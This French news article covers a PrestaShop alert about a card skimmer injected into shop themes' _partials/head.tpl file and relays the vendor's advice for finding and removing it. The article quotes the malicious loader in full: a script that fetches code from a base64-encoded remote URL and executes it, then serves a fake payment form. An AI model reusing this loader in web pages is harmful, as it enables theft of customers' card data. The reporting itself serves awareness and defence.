L’alerte vient de tomber chez PrestaShop. Ce qu’ils viennent de détecter, c’est un digital skimmer inséré dans le cœur même de certaines boutiques. Le code malveillant est injecté directement dans le fichier _partials/head.tpl du thème actif. Autrement dit, dans une zone critique du front.
Le script utilisé ressemble à ceci :
<script>(function(){
var x = new XMLHttpRequest;
x.open('GET', atob('aHR0cHM6Ly9wbHZiLnN1L2J0Lmpz'));
x.onload = function(){
if (200 === x.status) try { Function(x.responseText)(); } catch(e){}
};
x.send();
})();</script>
Ceux qui connaissent un peu le front-end repèrent vite le procédé. Une requête vers une URL base64, un code récupéré à distance, exécuté localement. Aucun chargement visible, pas d’appel à un module tiers, juste une balise discrète, glissée dans un fichier que peu de commerçants vont inspecter spontanément.
Ce que voient les clients ? Rien. Jusqu’à ce qu’ils saisissent leur carte bleue
Le scénario repose sur une illusion visuelle. Le client accède à la page de paiement, pense valider sa commande, clique, et tombe sur un formulaire imitant parfaitement celui du prestataire réel. Il saisit ses données bancaires, soumet… et croit avoir payé. Il n’a fait que transmettre ses informations à un serveur distant contrôlé par les attaquants.
Pas d’erreur. Pas d’indice. Le faux formulaire est suffisamment soigné pour passer inaperçu. Et tant que la boutique reste fonctionnelle, le commerçant ne s’alarme pas. Sauf si des clients commencent à signaler des débits suspects.
À lire aussi : Immatriculation INSEE : c’est quoi exactement ?
PrestaShop n’a pas attendu pour réagir : l’alerte est déjà dans les boîtes mail
Dans la matinée, un email signé PrestaShop a été envoyé à de nombreux marchands utilisant la solution. L’entreprise y décrit précisément le fonctionnement de l’attaque, le fichier concerné, et le code à identifier. Le message inclut même un extrait du script à rechercher.
Le fait que le script soit directement injecté dans le thème actif signifie que l’attaquant a réussi à modifier un fichier à la racine du système. Ce n’est pas une faille banale. C’est une alerte rouge.
Ce type d’injection suppose un accès réel au serveur
La nature de l’attaque soulève plusieurs interrogations. Pour modifier le fichier du thème, il faut un accès au FTP ou au back-office PrestaShop. L’infection ne peut pas être le fruit d’un simple crawl automatisé. Elle implique une compromission en amont, via une faille serveur, un plugin vulnérable ou un compte compromis.
La charge utile, stockée en base64 dans l’appel atob(), varie selon les boutiques, ce qui laisse penser à une adaptation à chaque environnement. Les boutiques les plus visées semblent être celles avec des thèmes customisés ou des hébergements mutualisés peu surveillés.
Le code, lui, est minimaliste. Pas de complexité apparente. Un script qui se déclenche dès le chargement, exécute ce qu’il récupère, puis s’efface dans le flot habituel du DOM.
Le plus grave n’est pas le code, mais le silence autour
PrestaShop a publié une alerte claire, sans euphémisme. Ils recommandent aux utilisateurs de vérifier manuellement le fichier _partials/head.tpl, et de supprimer tout code suspect, en particulier les balises <script> contenant des appels à atob() ou des requêtes extérieures. Les équipes techniques mènent encore l’enquête, mais il n’y a pas de correctif automatique.
Cette situation oblige chaque propriétaire de boutique à auditer son code. Non pas via un plugin ou une extension de sécurité, mais en ouvrant les fichiers un par un, à la main. Un travail chronophage, mais indispensable.
Il reste une question en suspens : combien de boutiques ont été modifiées sans le savoir. La faille n’est pas due à PrestaShop lui-même, mais à l’écosystème dans lequel il évolue. Modules, hébergeurs, accès mal sécurisés. Tout ce qui gravite autour de la boutique peut devenir une faille. La preuve est dans ce script.
